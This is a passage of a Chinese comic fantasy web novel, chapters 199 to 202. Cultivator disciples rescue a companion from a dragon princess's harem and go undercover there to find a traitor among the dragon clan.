房间里,安安静静的,就连浮光镜里头的顾延清也是这样安静,时间好像被定格了那样,最后,顾延清似是才回过神来: “…她…故意的?” 就是故意的慕流月扛着战利品谢璟一路狂奔,她心情愉悦地想着方才顾延清脸上的表情,没想到这不染凡尘的仙也能露出那样的神情。 难怪人们都喜欢看仙子为爱入红尘的戏码,这种人染上情爱,宛若雪地里盛开的红梅,夺目又好看。 “谢弟弟~你知道吗?” 已经死去的谢璟没有回话。 “其实一开始,我最钟意的还是你师父呢,因为那张脸冷得让我心动不已……只不过他没你的嘴让我欢喜,白白浪费这般好容貌。”慕流月倒也不恼,而是就这样自顾自地说下去了。 死得不能再死的谢璟继续安静着。 一路上,都是慕流月在叽叽喳喳地说话,全程都在夸顾延清怎么怎么好看,那种不染情爱的感觉是那么的让人着迷,但是与此同时又太过疏离,这些一切都那么完美,除了那张不会骂人的嘴。 …… “秦兰时,谢璟被慕流月带走了。”顾延清给秦兰时传信,而秦兰时在听到这第一句就突然正襟危坐了起来,坐得躺在旁边的唐山玉一脸懵逼。 “怎…怎么了?”唐山玉当然听到了那句谢璟被慕流月带走的话,可是他困惑的是秦兰时为什么要坐起来听。 “……不是,什么情况?”秦兰时难得擦了擦额头不存在的汗来表达自己心里的一丝惊慌。 “什么什么情况?谢璟被带走的话,我们就去把人带回来呗。”唐山玉觉得这事情也不是很难办,但是秦兰时的这种态度让他有些好奇。 “顾延清他……”秦兰时缓缓转过头来,一脸认真地道,“他喊人全名了。” “喊全名怎么了?我偶尔也喊你全名啊。”唐山玉闻言就明白这其中肯定有什么他不知道的事情存在,顿时就凑过去等待秦兰时的解答,“细说,这里头有什么吗?” “…呃,怎么说呢,其实咱们这位随清宗的宗主候选人,平时待人也是极为礼貌的,对待自己人会相对温和一点。”秦兰时开始组织起来语言,他认真想了想,似乎想要举出个例子来解释这件事。 “也不是不喊全名,只是…咳,你看啊,他这次喊那个二皇女慕流月对吧,平时他都是恭恭敬敬喊人二殿下的。” 唐山玉点头,表示他在听。 “然后就是我了,他也喊我全名,虽然那么说有点不好意思,但是我这个大师兄对我挺好的,平时都是亲切地喊我兰时的,我就没怎么听过他喊过我秦兰时。” 唐山玉似有所悟。 “再后边就是谢璟了!”说到这里,秦兰时就开始给唐山玉分析起来顾延清这段话,“他平时都是喊人阿璟的…我就没有听过他喊过全名,当然这不是重点,重点是这段话特别特别的短。” “而且还很简洁。”唐山玉跟着评价了那么一句。 “对,没错,虽然我这个大师兄平时说话就这样,但是他对我们这些人都很有耐心的,如果是平时,他会说……”秦兰时说着说着就扮演起了顾延清那张冷漠的脸,开始一字一句地道,“兰时,阿璟他被二殿下带走了,你可否帮我把阿璟带回来。” 唐山玉听到这里开始大悟。 “但是,你看这次!”秦兰时指着那个传信的符,此时此刻一阵强烈的bgm在他后方响起,也不知道他哪里拿出个红色蝴蝶结放在嘴巴边上,脸上还戴了一副黑色眼镜,“他这次不仅没有亲切的喊我兰时,就连谢璟都是全名。” “根据我先前的推理,事情的真相已经接近了。”bgm还在响个不停,而秦兰时举起手指,一脸严肃地指向了那个传信符,“那么——真相只有一个!!” “那就是——” “顾延清他生气了!!” 整个推理唐山玉都在场,而在秦兰时摆完帅气的姿势后,他才慢悠悠地鼓起了掌,“那么秦大侦探,顾延清他生起气来是怎么样的?” 秦兰时:…… 突然间的沉默让唐山玉开始思绪灵活运转着,他在脑子里翻起了自己看过的顾延清介绍,但是大部分都是赞扬顾延清的种种光辉事迹,比如一剑斩万鬼,独自一人灭了某个魔族领地,救人无数等等。 “…这么说吧,山玉,顾延清他虽然看上去仙,其实他本质上是个人。”秦兰时缓缓叹了口气,他说着就搓了搓手臂,显然对某个回忆心有余悸,“别看他平时淡淡的,他……生起气来可一点都不淡。” “……我之前年少不知事的时候,过于高看了自己,独自一人跑去敌人内部那里想要帅气乱杀…山玉你不要用这种眼神看我啊,我现在…现在真的能乱杀!” 那天,秦兰时因为年少轻狂,高看了自己,眼看着自己要死在这里的时候,一道剑光劈了过来,剑风刮着自己的侧脸,斩断了他的几撮头发。 “…这,这剑气是……大师兄!”秦兰时可谓是又惊又喜,当即往剑气过来的方向看去,果不其然,顾延清就拿着剑站在那里,静静地看着他。 那个时候秦兰时还是个喜欢和长辈撒娇的小孩,于是他美滋滋的跑过去,似乎想要拽一下顾延清的衣摆子。 可顾延清避开了,这让迟钝的秦兰时一愣,他缓缓抬起头,发觉这个一向呆愣的大师兄正面无表情地看着他。 “秦兰时。” 顾延清开口了。 “我很担心你。” “你为什么…不听话?” 那双眼眸里承载着无尽的风雪,而在此刻,这场风雪朝着秦兰时毫不留情地扑面而去。 “我记得我说过了,不要独自一人过来,会很危险。” “秦兰时,你要听话。” 第199章 后宫 二皇女慕流月,有后宫佳丽三千,每个美人都是她精挑细选带进来的,今日,和往常一样,她带着心仪的美人走进大宫殿,只不过美人是被捆着的。 “二殿下……”一位柔弱美少年站在旁边,看到走进来的慕流月就满脸羞涩地迎接了上去。 “啊,是你啊,抱歉哦,五十六,我急着和新来的美人亲亲呢?下次我们再继续吧~”慕流月看到这个美少年,就冲他眨了眨眼,这个美少年顿时就脸红了,他点点头就乖巧地站在一旁。 “真乖~”慕流月空出一只手摸了摸这位五十六美少年的脑袋。 随后她就哼着歌快乐地扛着谢璟往自己的寝宫那里跑。 在她走后,那个美少年后边缓缓出现了另一道人影,只见这道人影穿着较为艳丽的衣裳,头发凌乱地别着一只簪子,他长得是妖艳的,说话的语气也是刺耳的,“怎么,你指望她会想起你的名字吗?” “……”五十六美少年默不作声地看了他一眼,随后,轻笑着,咧开嘴露出那可爱的小虎牙,这非常符合他那种乖巧的长相,“她也没想起你的啊?你个蠢花。” “…妈的,你这根草那么多年了,也就只会学这点嘴皮子功夫了……”花一样的男人神色顿时不满,不过他很快又提起了另一件事,“上次瞅她这样带人进来,是什么时候的事情了?” “好几百年了吧?我不太记得了……”这草一样的男人也随着这个话题的展开,渐渐流露出回忆的神色,“上次她好像也是这样强抢民男回来的。” “后来那家伙居然还变成了正夫,啧,明明是我们先来的。”花一样的男人哼了一声,就抱着手臂扭头看向了那慕流月离开的方向,“不是,他不会也会变成正夫吧?就这个小屁孩?” “…应该不会。”草一样的男人对此摇了摇头,他接着又特别坚定地重复一遍这句话,“不会有这个可能。” 如果早有这个可能,那么这正夫之位也不会空置那么久了。 …… “谢弟弟~快来么么~”慕流月大门一关,就把谢璟丢在柔软的大床上,被捆住的谢璟见此连忙蠕动起了身子像只毛毛虫一样快速往后退去。 “你别过来!”有没有人能够救救。 “哇,谢弟弟爬得很可爱呢。”慕流月看到谢璟这惊慌失措的模样,不由得笑出了声音,“不过也别怕,我会很温柔的……” 谢璟听到这话,整个人都不好了,他现在莫名地想念住在隔壁的唐山玉,不知道这个家伙有没有发现自己不见了。 ……他什么时候变得也想依靠别人了。 谢璟突然愣了一下,而这一下也让他往后退去的动作变慢了,慕流月见此挑了挑眉,她对其伸出了手,下一刻,眼前的谢璟变成了模糊的影子消失在了她的眼里。 “…秦郎君,你是想好当我的第九十九夫郎才特地过来的吗?”慕流月看着空空如也的床,转头看了过来。 而此时此刻,秦兰时一手提着谢璟,一手拍了拍自己身上因为赶过来而染上的灰尘,闻言他莞尔一笑,“不了不了,当二殿下的夫郎我实在是无福消受。” “对了,山玉,接住,一直提着怪累人的。”秦兰时说着,转过头去,把手里的谢璟往外抛出去,而赶过来的唐山玉则是上前一步就稳稳地把人接住了。 许是想着方才谢璟受了不少惊吓,唐山玉就没有打算用个让人难受的姿势将谢璟带着,而是选择平和地将人公主抱在了怀里。 “师父,你要做什么?”唐山玉看着冲自己摆手的秦兰时,一种不好的预感油然而生。 “啊,当然是……”秦兰时转头对唐山玉抛了个媚眼,很是快乐地道,“许久未见二殿下,我想好好切磋一番~” 说着,秦兰时就举起剑,冲着慕流月杀过去,而慕流月见此一跃而起,避开了来自秦兰时的这一剑,脚下的地板轰然倒塌。 “…秦郎君,你还是那么猛呢。”慕流月看着这地板,露出了一抹迷之笑容,她紧接着也挥出了自己剑,也直直地打了上去,“但是呢,我喜欢~” 这种情况下,唐山玉带着谢璟开溜了,一边跑一边想,这打坏的东西是不是不用自己赔钱啊?毕竟这位二殿下也在那个龙王给的名单里…… 唐山玉严重怀疑秦兰时这是在假公济私,甚至打算打坏一堆东西后私底下找龙王报销,虽然龙族的确不差这点钱。 “…你们发什么疯?”尽管面对来救自己的俩人谢璟是心怀感激的,但是目前这种状况到底是怎么回事,他们前不久还住人家龙族的房子里,怎么转头就和龙族打起来了。 “感动吗?这是我们为了带你回来做出的伟大事业。”唐山玉嘿咻嘿咻地乱跑着,闻言笑嘻嘻地低头看过去。 “……”谢璟觉得自己并不会感动。 正当谢璟还想说什么的时候,突然他发现这条路有些奇怪,“…这是通往出口的路吗?” “这是通往二殿下的后宫之路呀~”唐山玉继续笑着,看着特别人畜无害。 谢璟:………? “你们有毛病吧!!为什么要去那里!!”现在的谢璟听到后宫两个字就应激了,唐山玉能怎么办呢,唐山玉选择强扭这个瓜。 “哎呀,我教你一个法子,最危险的地方就是最安全的地方,你不是怕她总是过来招惹你嘛?只要我们混入她的后宫里,她绝对想不到我们会亲自进入这里。” “而且,我们还能对外说,你是为了躲她才成天不见人影的,而我呢,则可以当是为了安慰你陪同的身份。” 唐山玉越说越觉得自己这番话实在是太合理了,如果忽略谢璟那黑如锅底的表情的话。 “…要入你自己入,不要扯上我。”谢璟拒绝了这个提议。 “可是二殿下也没看上我呀,很明显我不是她的菜呢,现在最要紧的是你的清白吧?虽然我师父在拖延时间,可是他们是打不了太久的,因为在他们打起来的时候,已经有人过去汇报给龙王了。” “…你……”还没等谢璟开口说什么,唐山玉戴在身上的浮光镜亮了,这让唐山玉奔跑的动作一顿,随后拐了个弯,随便进了个没有人气的冷清宫殿里。 等进去后,那浮光镜就自己飘了出来,像在急不可待,只见那浮光镜上出现了顾延清的脸,他一如既往的淡,那双眸子扫了过来,不知为何,唐山玉感觉自己好像身子结冰了,明明顾延清也不是冰灵根啊。 “阿璟,怎么样了,可还好?”顾延清语气有些担忧地问道。 “师父,我没事。”谢璟连忙表示自己啥事都没有,“秦师叔他们来得很快。” “…那就好。”顾延清微微点了点头,他的视线落在了…抱在一起的俩人身上,“你们要一直维持着这种姿势吗?” 唐山玉和谢璟闻言一愣,随后都默默对视了一番,下一刻,俩人极速分离。 惊慌失措的是唐山玉,他想起身后的吃醋猫猫,尽管他带人走的时候秦兰时什么表示都没有,但是要是被知道他无意识抱谢璟那么久,肯定又是好一阵子哄了。 羞耻炸毛的是谢璟,他想起方才顾延清提醒自己的那番话,觉得自己的丑态都被人看了个过去,还是自己喜欢的人,这种事情不要啊,被捆着还被抱着跑什么的,这样显得他很弱……太糟糕了实在是。 这一幕落在顾延清眼里就像谢璟脸红且不好意思地离开唐山玉一样,甚至俩人分离前对视时候的眼神颇有几分依依不舍的味道。 顾延清:…… “…你们没事就好。”顾延清听到自己的声音那么说道,“关于具体的事宜,兰时已经和我说过了……我赞同这个提议,这于随清宗有利。” “…什么?”先前完全没有参与进来而是忙着逃跑的谢璟一愣。 “更具体的我待会再和你说,总之就是龙族里头出现了叛徒,而龙王需要我们的帮助揪出这个叛徒,因为我们是外来者,甚至还是有合作关系的随清宗,再加上随清宗那不愿意当狗的姿态,我们比岛上的任何一个家伙都可信。” “哈?”谢璟皱起了眉头,“那这和你带我进后宫有什么关系吗?” “因为……二殿下也在那份名单上。”唐山玉那么说着,笑道,“非常有意思不是吗?没想到龙王给出的名单上会有自己的女儿。” “……” “没有慕轻轻,虽然慕轻轻也是龙族,但是因为她生性好玩,在岛上的时间不长,甚至也没什么势力,龙王也是看中这一点才那么宠她的吧……呵呵,当然应该还有这是那位龙后留下来的最后珍宝。”唐山玉不知是听过什么,语气难得流露出些许嘲弄。 “…所以你带我进后宫,甚至还编造了一个你陪我在躲二皇女的理由,这样就能够让我们俩成功混入暗处。”谢璟逐渐明白了一切,突然他难得又自嘲了一声,“没想到我遇到的这种事情还能做出这种贡献。” “对,事不宜迟,我们先从后宫开始查吧!”唐山玉可积极了,当即就准备打开宫殿大门往外走,“浮光镜可以先飘着,这样可以让顾师伯看着我们,要是发生意外可以紧急联系我师父。” “…等。” “什么?” “这个鞭子,我解不开。” “……” 第200章 主君 总之俩人急急忙忙试图去解那个鞭子,因为这个鞭子里头的灵力结构有些麻烦,所以他们钻研了好一会后才解开。 解开后的谢璟感觉到了自由的味道,所以他不愿意再被捆了,而是恶狠狠地踩了那个鞭子好几下。 “好了好了,谢师兄,咱们要开始调查了。”唐山玉站在一边口头阻拦,一边打开宫殿大门往外瞧去,“这二殿下的后宫挺多的,我们混入其中打探消息应该是没什么问题的。” “…师父,你觉得呢?”谢璟没看唐山玉,而是转头去询问飘着的浮光镜。 “…嗯,山玉说得也有道理。”顾延清没想到谢璟还会转头去问他,他点了点头,算是承认这个法子的可能性。 “那走吧。”谢璟这句话说得可谓是义无反顾,全然看不出方才抵抗进入后宫的模样。 “…呵呵,真是爱使人盲目。”唐山玉走在前面,低声吐槽了那么一句。 “你说什么?”谢璟看了过来,眼神犀利。 “没有,我什么也没说。”唐山玉举起手表示自己非常无辜。 谢璟一看就知道这人说了什么,但是他没有证据,因为唐山玉会死不承认。 那么,俩人一镜就这样混入了二皇女慕流月的后宫里头,首先,他们遇到的第一位后宫是……在院子里举铁的猛男,他嘿咻嘿咻所挥洒的汗水变成了晶莹的珠子滚落泥土。 “嗯?你们是哪个宫的弟弟,我似乎从未见过。”一出口就是老味道,唐山玉不由得兴奋了一下,曾经看过的宫斗剧终于要派上用场了吗? “是的,我和我哥是新入宫的兄弟花~”说着,唐山玉一把拉过谢璟的手臂,冲着那个猛男开始发挥自己的高超的演技。 兄弟花是什么鬼? 谢璟一副想吃了某个东西的模样,脸黑得很,但是他什么也没说,任由着唐山玉继续演下去。 “这样啊,新来的,那正常了。”举铁的猛男撩起衣服擦了擦脸上的汗水,露出了下边厚实的腹肌,他似乎发现俩人盯着这个腹肌在看,很是爽快地道,“二殿下很喜欢摸这个,所以我为了维持好这个身材,天天都在锻炼。” “太厉害了。”唐山玉不由得为其鼓起了掌,“你是为了二殿下过来的时候给她展现这些的吧,方才那举手投足间,都尽显阳刚之气!” “那是,这个动作我已经做了不上几百遍,二殿下每次都喜欢吃这套。”猛男超级自信地叉腰道。 “肯为二殿下花心思是好的。”唐山玉继续夸夸,然后夸完后开始自然地聊起这个后宫的事情来,“听闻二殿下最近没怎么来过宫里头,这位哥哥,你可知她在忙什么吗?” 关于二殿下慕流月目前可以得知的信息有一:最近喜好美人的慕流月居然不怎么踏入后宫了,这绝对非同寻常。 “不知道哎,说起来因为这事我也问过其他兄弟们,但是他们个个都不清楚,如果非要说清楚的话,或许只有最早待在二殿下身边的那几位知道吧?”猛男认真想了想,也开始不解了起来,“不过她今日好像捆了个男子回来了,难不成这些日子她都是被这个小妖精给迷了去吗?” 被唤作小妖精的谢璟身子一抖,他看上去很想杀人,但是被唐山玉按住了。 “你这个哥哥脸上看上去不是很好啊,是不是生病了?”猛男自然也看到了谢璟黑脸的一幕,不过他是如此的坦荡,如此的真挚。 “啊哈哈!我就说让他不要经常出来嘛!脸色那么差会吓到人的,抱歉,你有被吓到吗?”唐山玉站在谢璟面前,开始瞎编起来,不过瞎编的过程里他还不忘提一句,“那么谁是待在二殿下身边最久的呢?” “那当然是同为龙族的周皇夫啦。”说着,猛男许是寂寞了,拉着唐山玉就开始了唠嗑起可以唠嗑的后宫八卦,“这位周皇夫据说是陛下挑给二殿下的,是当着主君去培养的,可谁知当初的二殿下是怎么想的,听闻二殿下只说了一句美人虽美,但这主君位置会让人变得无趣,还是算了吧。” “所以他没有变成正宫吗?有点惨。”唐山玉一边吐槽,一边抓起瓜子递给了身边站着的谢璟,瓜子是猛男给的,是海族的特产瓜子,味道是大海的咸味。 “对啊,不过二殿下好像也不是不喜欢这个周皇夫吧,她听说还是很喜欢他的。”猛男觉得这些弯弯绕绕他实属看不懂,所以他还是选择他的举铁后宫之路吧。 “那这位主君你知道多少?”唐山玉八卦完了慕流月的侧夫后,开始八卦起慕流月的正夫了,别说,这种八卦别人的故事的感觉真是让人着迷。 “主君啊……”他提到了这个人,突然就沉默了一下,或许是只是一小会,但是莫名的唐山玉感觉在度日如年,可能是氛围实在是太压抑了。 “他…是个……” 唐山玉屏住呼吸,认真地开始听起这个八卦,他满脑子都在想:是白月光吗?是那种温柔白月光吗?是那种散发着初恋感觉的白月光吗? “垃圾。” 唐山玉:? 好像有什么碎掉了。 不是,根据他之前在秦兰时那里打听的消息里,二殿下自那位正夫死后,就没有再立过正夫了。 这难道不是白月光的待遇吗?? 为什么会是垃圾! 碎了,碎彻彻底底了! “…你发什么疯?”谢璟缓缓后退一步,决定和藏在后边的浮光镜贴贴,远离神经,从现在做起。 只见唐山玉在听到那白月光是个黑月光后,他整个人散发着幻想破灭的气息,该死的宫斗剧毁他青春,他再也不相信了。 “听说主君和二殿下的关系不是很好,每次二殿下心情很好的时候过去,都会被主君气得直跺脚出来。”猛男继续八卦着,瓜子咔嚓咔嚓啃得那叫一个响。 “二殿下看上去很喜欢冷脸骂人的美人啊。”唐山玉那么说着,侧头看了同样属性的谢璟一眼,谢璟缓缓后退了一步来表达他的抗拒。 “…明明她之前是喜欢温柔可人的,也不知那个主君给二殿下下了什么迷魂药,把人迷得那叫一个坚持不懈。”说着,猛男怒气冲冲地捏碎了一把瓜子。 “所以…咳,那个主君怎么垃圾个法?”虽然白月光碎了,变成了黑月光,但是这件事依旧可以八卦起来。 “……他平等地藐视了我们所有人。” 唐山玉:? 他转头看向了谢璟。 谢璟一副又干嘛的模样看过来,他看上去很不爽,曾几何时,这个人也是如此的平等藐视所有人。 “虽说如此,我骂他垃圾不只是这件事。”猛男说着,左看右看,见这里只有他们这几人后,就开始继续八卦起主君的那些事,“就是,咱们二殿下之前不是龙角被挖吗?我们这些人都盼着二殿下好,什么礼啊什么好的药啊都往二殿下那里送。” “虽然二殿下看着没什么事,但是我们都明白她其实不是很开心的,嗨,都跟那么久,哪能不知道她的一些情绪呢。” 唐山玉连忙点头,虽然他并非其中之一。 “你们可知那个主君在那个时候做了什么吗?”猛男说着,就开始落泪,这眼泪说流就流,把唐山玉给吓得在口袋里掏了掏,掏出一块帕子递过去。 “主君,主君他……”猛男接过帕子,擦了擦眼泪,“那个垃圾居然说二殿下不就是丢个龙角吗?至于吃那么多补品那么多药吗?” 唐山玉:…… 听上去的确很冷漠无情的哈。 “不过就算如此,你们好像还是习惯喊他主君啊,明明那么讨厌……” “…因为他好吓人,我们根本不知道他在想什么,他对我们就像对空气一样冷漠,也不是没有人想要刺杀过他,后边那个刺客也和空气一样淡淡地没了。” 说着,这个大高个的身子就开始瑟瑟发抖了起来,“也不知二殿下是上哪抢来的那么一个怪物,我们在他身上感应不到其他妖族的气息,不是人不是妖,我们好歹知道周皇夫是龙族啊。” “…是不是你们太弱了才感知不到?”唐山玉觉得再怎么样也不可能没有气息,除非这个玩意和死一样安静。 “…我们也有想过,所以周皇夫之前也去问过陛下,周皇夫在陛下那里也能说得上话的,但是陛下却说他也不知。” “好神奇啊。”唐山玉抱臂站在旁边歪了歪头。 “确实。”谢璟不知什么时候也过来了,他也跟着歪了歪头。 “那他是怎么…离开的?”唐山玉组织了一下语言,委婉问道。 “他……”猛男沉默了一下,显然他这次是真的因为回忆而犹豫了,他在犹豫记忆里的片段对不对,因为那天过于混乱了,混乱都让人想起来都不由得皱一下眉头。 “你们见过黑色的雨吗?” …… “这不是雨。”那天,慕流月抬起手接过这落下的东西,任由它在手心里流动而下,她看上去没什么表情,但是,正因没有表情,才不像她。 “这是……血。” 第201章 …注意安全 “二殿下如今在做什么?”一位穿着金丝制成的衣裳的男子此时正低垂着头,四周飘浮着淡淡的香气,他有着一头金光闪闪的长发,就连那双眸也是艳如骄阳的金色。 “…禀告周皇夫,二殿下她在与那位随清宗来的青莲剑尊打得有来有往。”底下的人小心翼翼地开口,并且抬头看了一眼这位周皇夫的神色,见人没什么表示后又极速低下头。 “那位被二殿下捆着带回来的家伙呢?”周皇夫细细抚过手下的白猫,白猫发出舒服的呼噜声,虽为海族,但是毛茸茸没有什么错。 “似乎趁乱跑了。” “…我知道了。”周皇夫懒散地招来旁边服侍的侍从,让其将这位汇报的人带下去,他看上去有点困,正托着下巴,“等有结果了再过来告诉我吧。” “是…是……”那属下连忙点头,脚步放轻地跟着侍从一起离开了。 “我累了,都下去吧。” “是。” 侍从尽数散去,周皇夫依旧坐在位置上,他闭着眼,似乎在闭目养神,可接下来,一阵清脆的脚步声于空旷的殿内响起,他轻轻睁开眼,看向来人。 “你来了。” 那人轻快地把玩着手上的弯刀,嬉笑着道,“许久不见,可曾念我?” “不曾,请你收起这副油嘴滑舌的嘴脸,我们现在的时间已经不多了。” “…唉,行吧。”这人顿觉无趣。 与此同时,外边的秦兰时也停止了打斗,他晃了晃手里的剑,看着眼前明显有些上头的慕流月,“不打了。” “…怎么不打了?”慕流月一愣,她还在上头呢,说不打就不打,这个人好生任性。 许是读懂慕流月眼里的意思,秦兰时对她做了个鬼脸,就转身收起了剑,“我要回去找我的亲亲徒弟了,不和你打架了。” “啊?!就这样走了吗!!”慕流月显然不敢置信,再说了秦兰时这般愿意和她打起来的美人可谓是少之又少,于是她伸出手想要挽留一下。 “不了不了,在下已有家室,恕在下不能奉陪了。”秦兰时侧身躲开了慕流月的挽留,他看着慕流月,“你不能因为没有老婆就阻止我和老婆亲热啊?” 慕流月听到这话,觉得这话的确扎到自己了,所以她难得收敛起笑容,就那么看着秦兰时,“你当我不知你特地过来要做什么?” “我不是过来拯救被你强取豪夺的随清宗弟子吗?”秦兰时摆了摆手,一脸无辜地看着她,“你知道的,作为一名合格的长老,保护好每一个弟子的安全是我的义务。” “真这样你直接说不就行了,怎么还要和我打起来,还打得离我的大宫殿那么远。”慕流月遥远地看了一眼自己的大宫殿,肉眼下只看到一个小小的影子,鬼知道他们到底打得有多远。 秦兰时笑了笑,随后说起了其他事情来,“说起来,我今日见了你的父亲,他看上去好像不是很好。” “是的,他要归西了。”慕流月说起这事可谓是薄情至极,她仿佛说的人不是自己的父亲那样,“寿命到了自然如此,世间万物的终点都逃不开死亡二字,活得久的看得多的,自然也更能明白这一点。” “你父亲的确看得很明白,我能从他身上感觉到那种淡淡的死感。”秦兰时想起虽然有点威严,但是已经不多的老龙王,很明显对方在面临死亡的时候,心情会无比的平静且无所谓,或许也是想着死亡前随心一下。 “他这条龙是这样的,从一开始就只会想着自己。”慕流月毫不犹豫地点评自己父亲的无情,而她再次把话题拐了回去,“所以呢?你特地来寻我,是因为我的父亲吧?” “哈哈……那我就直白点问了。”秦兰时眉眼弯弯,看上去似乎在笑,“慕流月,听闻你最近很忙啊,你最近在忙什么呢?” “我还以为是什么呢,原来是这个啊,怎么,我父亲怀疑我在干点别的事情,所以特地派你来问我的吧?”慕流月哦了一声,她顿觉无聊的样子简直和慕轻轻一模一样。 “不是派,我不当狗的,你应该要说……我是接受了他的委托特地过来问你的。”秦兰时笑道,他选择纠正一下这位二殿下话语里头的错误。 “…那你接受这种委托居然还亲口告诉我?你是为了什么?”慕流月说着就光明正大地盯着秦兰时的脸在看,她重新笑了起来,“怎么,是我想的那个意思吗?” “那个意思?什么意思?对不起呢,我有点听不太懂~”秦兰时继续无辜地看着她,很明显这个时候秦兰时的演技就上来了。 “…那就没有其他意思吧?不过你最好让你那两个弟子快点离开我的后宫比较好哦。”慕流月转过头去,她似乎准备离开了。 “什么什么?风太大我听不见——”秦兰时捂住自己的耳朵,扮演起了一名合格的聋子。 “……呵呵,不离开也可以,那就别怪我把他们全收了。”慕流月觉得自己还赚了呢,于是乎她回去的速度更快了。 而秦兰时则跟在她的后边,追了上去,也不知俩人为什么要在天空里举行一场激动人心的追逐战,引得下边的人们个个抬头观望起来。 “…怎么了?上边有什么?”一位穿着斗篷的男人停住了脚步,他转头看向了旁边的同伴。 而这位同伴收回了看着那两道身影的目光,便看了过来,他说着打了个哈欠,拉低一下自己的兜帽,让自己看上去更加阴沉又神秘,“没什么,看到两只打打闹闹的鸟儿罢了。” “这样啊,那我们快走吧。”说着,这位斗篷男又催促了一声,“刘先生和大家都在等着您呢!” “那走吧。”这位同伴点了点头,如果唐山玉等人在场,会发现这个同伴是曾经和他们一起航行数日的任海。 不,现在应该是任行舟了。 “我让你们准备好的东西,都准备好了吗?”任行舟说着,就转身挥了挥身上带着的斗篷,斗篷刮起了一阵轻风,这阵风向着更高处前进着。 风吹拂而来,将慕轻轻和胡长乐的衣裙吹得纷乱,待这阵风结束后,慕轻轻才重新抬头看向了站在她面前的男人,也就是她大哥——龙族的大皇子。 “大哥,好巧啊。”慕轻轻面对大哥就稍微乖了一下,随后她就给自己的大哥介绍起身后的两个伙伴,“他们是我这次历练的伙伴们。” “…大,大哥好,我叫胡长乐。”胡长乐瞬间化作乖乖孩子开始点头问好。 “…我,我叫石泽竹。”石泽竹也跟着点头,明明他比龙族大皇子还高呢,瞬间就变成了小鸡啄米一样乖巧。 “…嗯。”这位龙族大皇子显然不太想和他们交流的样子,不过他的目光一直在慕轻轻身上,“轻轻,难得回来一趟,这次什么时候离开?” 慕轻轻闻言一愣,她想了想道,“等事情办完吧?” “嗯?你们要办什么事情?”龙族大皇子继续问下去。 “我要带他们好好玩一遍卧吟岛。”慕轻轻说着,指了指身后的俩人,那俩人非常配合地点着头,看上去特别愿意。 “…这样啊。”龙族大皇子那么说着,他抬起手摸了摸慕轻轻的脑袋,“那就去玩吧…想玩多久就玩多久。” “那大哥呢?大哥最近过得好吗?”慕轻轻拉了拉他的衣袖,好奇问道。 “…我自然过得很好。”龙族大皇子温和一笑,他淡淡地扫了一眼慕轻轻身后的俩人,“轻轻,最近注意些安全。” “为什么?” “近日岛内似乎多了不少异乡客。” 第202章 又有病了 “外头来的?”慕轻轻听到这话,便转头看了看同样也是外边来的小伙伴,不过只一眼她就重新看向了龙族大皇子,“那么为什么会突然来那么多外边的家伙,我们近日应当没有举办什么节日才是?” “嗯,正是如此才可疑。”龙族大皇子点了点头,随后他再次将目光放在慕轻轻身后那俩人身上,接着,这位大皇子淡淡地笑了,“不知两位接下来可有闲暇?” 胡长乐:我…我吗? 石泽竹:…啊? “大哥?你不会是想……可是我们说好要一起玩了……”慕轻轻见龙族大皇子似乎看上了她的小伙伴们,“如果他们要去,我也要去……” “轻轻,你可知父皇让你带他们回来是为了什么吗?”龙族大皇子轻笑着止住了慕轻轻接下来的话头,他看上去依旧那么温和,“我的好妹妹,你应该是明白这一点的。” 慕轻轻瞬间没有话了,不过她很快又笑了起来,“那大哥,我能和他们说几句话吗?” “当然可以。”龙族大皇子轻轻点头,就那么看着慕轻轻带着她的那两个伙伴走到了另一边。 “…轻轻,怎么了呀?”胡长乐被带过去,她看着似乎心里有事的慕轻轻,担忧地问道。 “轻轻?”石泽竹虽然傻,但是该能体会到的情绪还是能够体会到的,他看着这个难得收起笑容的小伙伴,问出的声音也很小心翼翼。 “…这件事是我的错,我是猜到了父皇喊我带你们回去应当是有什么事情要托付给你们……可是……”慕轻轻说着,声音就不可避免地小了起来,“…那可是我的父皇,如果他真的有要事相求……那么肯定是他无法做到的事情。” 只见慕轻轻眉头皱起,她紧张地抠住衣裙,裙子被抠住的那块一下子变得皱巴巴了,“…抱歉,我知道这句话应该很……” “要帮忙吗?那要做什么?”石泽竹率先问道,他挠了挠头有些不解,“轻轻你直说就好了呀,我们怎么会不帮忙?” 胡长乐配合地点了点头,“对呀对呀,再说了,刚才秦…长老也过去了,龙王陛下肯定也会提起这件事的,现在也过了不少时间,那边也没有传音于我们,应该是答应了吧?” 胡长乐这话一落下,慕轻轻有些诧异地看过来,石泽竹恍然大悟地看过来,最先说话的是石泽竹,他忍不住夸了一句,“长乐你好聪明呀!” “是,是吗?”胡长乐顿时有些开心地脸红起来,“我也就是稍微动动脑子啦……” “没有,很棒哦,长乐说得没错~”慕轻轻这么一想,心里头倒是也难得轻松一些,既然秦师叔能够同意,那么应该是父皇拿出了对方接受的东西。 而秦师叔能够应下来,应当也和随清宗的那几位接触过……这么一想,她的父皇还是很有合作精神的。 “是吧是吧,所以轻轻就安心些啦。”胡长乐眨了眨眼,然后往后看了还在等他们的龙族大皇子,“那我们过去听听看?” “走。”石泽竹也是积极得很,他走过去,站在龙族大皇子面前,超级认真地道,“来吧。” 这种壮士一去不复返的气势是怎么回事? “哦?”龙族大皇子挑了挑眉,显然有点意外,不过他很快就笑眯眯地往下说去,“那么,我可就说了,我们发现那群外来者似乎会聚集在某个地点,而这个地点……我们龙族是进不去的,先前我派去的手下只回来了一个,不过他留下一句话就因为重伤走了。” “他留下了什么话?”慕轻轻听着听着,眉头紧皱。 “他们似乎有什么侦查龙族的手段,这使得我们的探查艰难起来,而且……他留下的话是……”龙族大皇子顿了顿,便把接下来的话说出来,“春风不喜长欢歌,也笑天高不见龙。” “……”慕轻轻很明显沉默了。 “…这是在挑衅吗?”胡长乐转头和石泽竹说起了小话,虽然她不懂诗词,也不懂这诗写得对不对,但是里头的意思却是明显地指向龙族。 “不,不知道啊。”石泽竹对诗文也一窍不通,不过他认真想了想这个诗句,继续道,“但是它后边那个龙好明显哎,我都能听出来了。” 后边的龙要是听不出来,那么作诗的人估计要哭晕在茅厕里。 “这件事那群长老并不知道,我和父皇还没有告诉他们……当然,也是因为……在我们发现这些外来的家伙的存在之时,他们已经在岛上待了有些许时日了。” 这代表着什么呢? 这代表着这群外来家伙过来的时候,有家伙帮忙瞒着这些事情不上报,而这个家伙此时此刻正埋伏于他们之间,倘若将这件事往外说去,那么对方就会有所防备。 这样一来,就很难揪出这个叛徒了。 